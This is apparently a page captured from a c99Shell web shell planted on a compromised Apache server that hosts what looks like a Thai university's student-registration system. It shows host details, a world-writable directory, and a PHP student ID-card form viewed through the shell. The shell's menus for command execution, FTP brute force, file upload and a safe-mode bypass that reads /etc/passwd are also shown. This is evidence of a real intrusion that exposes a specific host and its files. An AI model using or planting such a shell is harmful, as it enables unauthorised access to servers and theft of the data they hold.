!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis2222/application/views/eregis/   drwxrwxrwx
Free 50.65 GB of 127.8 GB (39.63%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_searchRptRis104.php (5.31 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<script>
function checkTypeSt(val) {
    if(val=="N") {
        document.getElementById('typeSt2').checked=false;        
        document.getElementById('curId').disabled = false;
        document.getElementById('adY').disabled = false;
        document.getElementById('acY').disabled = false;
        document.getElementById('studentCode').disabled = true;
    }
    else{
        document.getElementById('typeSt1').checked=false;
        document.getElementById('curId').disabled = true;
        document.getElementById('adY').disabled = true;
        document.getElementById('acY').disabled = true;
        document.getElementById('studentCode').disabled = false;
    }
    document.getElementById('typeSt').value=val;
}
</script>
<table width="95%" align="center">
    <tr>
        <td>
            <div align="center">
            <input type="hidden" name="typeSt" id="typeSt" value="N"/>
<?php                
            
echo form_open($this->config->item("rg_folder")."rpt_student/rptRis104");
?>
            <table width="100%" border="0" align="center" cellpadding="1" cellspacing="1">
                <tr>
                    <td colspan="2" align="center"><span class="h error">บัตรประจำตัวนักศึกษา</span></td>
                </tr>
                <tr>
                    <td colspan="2" height="22"></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td colspan="2">
                    <fieldset>
                    <table width="100%">
                        <tr>
                            <td height="22" colspan="3"><input type="radio" name="typeSt" id="typeSt1" value="N" <?php echo ((set_value('typeSt')=='N')? 'checked': ((set_value('typeSt')=='Y')? '''checked'));?> onClick="return checkTypeSt('N')">
                            <font size="2"><b><label for="rad1">รายหลักสูตร หรือ รายปีการศึกษา</label></b></font></td>
                        </tr>
                        <tr>
                            <td width="5%" height="22"></td>
                            <td width="20%"><font size="2"><b>หลักสูตร</b></font></td>
                            <td width="75%">
<?php                        $disN = (set_value("typeSt")=="N")? "": ((set_value("typeSt")=="Y")? "disabled""");
                            echo 
form_dropdown('curId'$rs_cursetValue('curId'$rs_cur),"id=curId $disN" );
?>
                            <span class="error"><?php echo form_error('curId');?></span></td>
                        </tr>
                        <tr>
                            <td height="22"></td>
                            <td><font size="2"><b>ตั้งแต่ปีการศึกษา</b></font></td>
                            <td><input type="text" name="adY" id="adY" value="<?php echo set_value('adY'$acY);?>" size="4" maxlength="4" <?php echo $disN;?> class="required-int">
                            <span class="error"><?php echo form_error('adY');?></span></td>
                        </tr>
                        <tr>
                            <td height="22"></td>
                            <td><font size="2"><b>ถึงปีการศึกษา</b></font></td>
                            <td><input type="text" name="acY" id="acY" value="<?php echo set_value('acY'$acY);?>" size="4" maxlength="4" <?php echo $disN;?> class="required-int">
                            <span class="error"><?php echo form_error('acY');?></span></td>
                        </tr>
                    </table></fieldset></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td colspan="2"><fieldset><table width="100%">
                        <tr>
                            <td height="22" colspan="3"><input type="radio" name="typeSt" id="typeSt2" value="Y" <?php echo ((set_value('typeSt')=='Y')? 'checked':'');?> onClick="checkTypeSt('Y')">
                            <font size="2"><b><label for="rad2">รายนักศึกษา</label></b></font></td>
                        </tr>
                        <tr>
                            <td width="5%" height="22"></td>
                            <td width="20%"><font size="2"><b>รหัสนักศึกษา</b></font></td>
                            <td width="75%"><input type="text" name="studentCode" id="studentCode" size="10" maxlength="10" <?php echo (set_value('typeSt')=='Y')? '''disabled';?> value="<?php echo set_value('studentCode'); ?>" class="required-int">
                            <span class="error"><?php echo form_error('studentCode');?></span></td>
                        </tr>
                        <tr>
                            <td height="22"></td>
                            <td><font size="2"><b>วันหมดอายุ</b></font></td>
                            <td><script>DateInput('cardExpiryDate', true, 'DD/MM/YYYY', "<?php echo $acCardExpiryDay;?>/<?php echo $acCardExpiryMonth;?>/<?php echo ($acY-543);?>");</script>
                            </td>
                        </tr>
                    </table></fieldset></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td width="30%" height="22"><font size="2"><b>&nbsp;&nbsp;วันออกบัตร</b></font></td>
                    <td><script>DateInput('cardIssuedDate', true, 'DD/MM/YYYY', "<?php echo set_value('cardIssuedDate') ? set_value('cardIssuedDate') : getNowDateFw2();?>");</script></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td height="22" nowrap="nowrap"><font size="2"><b>&nbsp;&nbsp;ตำแหน่งผู้รักษาการแทนผู้อำนวยการ</b></font></td>
                    <td><input type="text" name="directorPos" id="directorPos" size="50" value="<?php echo set_value('directorPos')?>"></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td colspan="2" align="center"><input type="submit" name="submit" value="ตกลง">
                    <input type="reset" name="clear" value="เคลียร์ข้อมูล"></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br><span class="error"><b>หมายเหตุ : </b>สามารถพิมพ์บัตรประจำตัวนักศึกษารายหลักสูตร หรือ รายปีการศึกษา หรือ รายนักศึกษาได้</span></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0058 ]--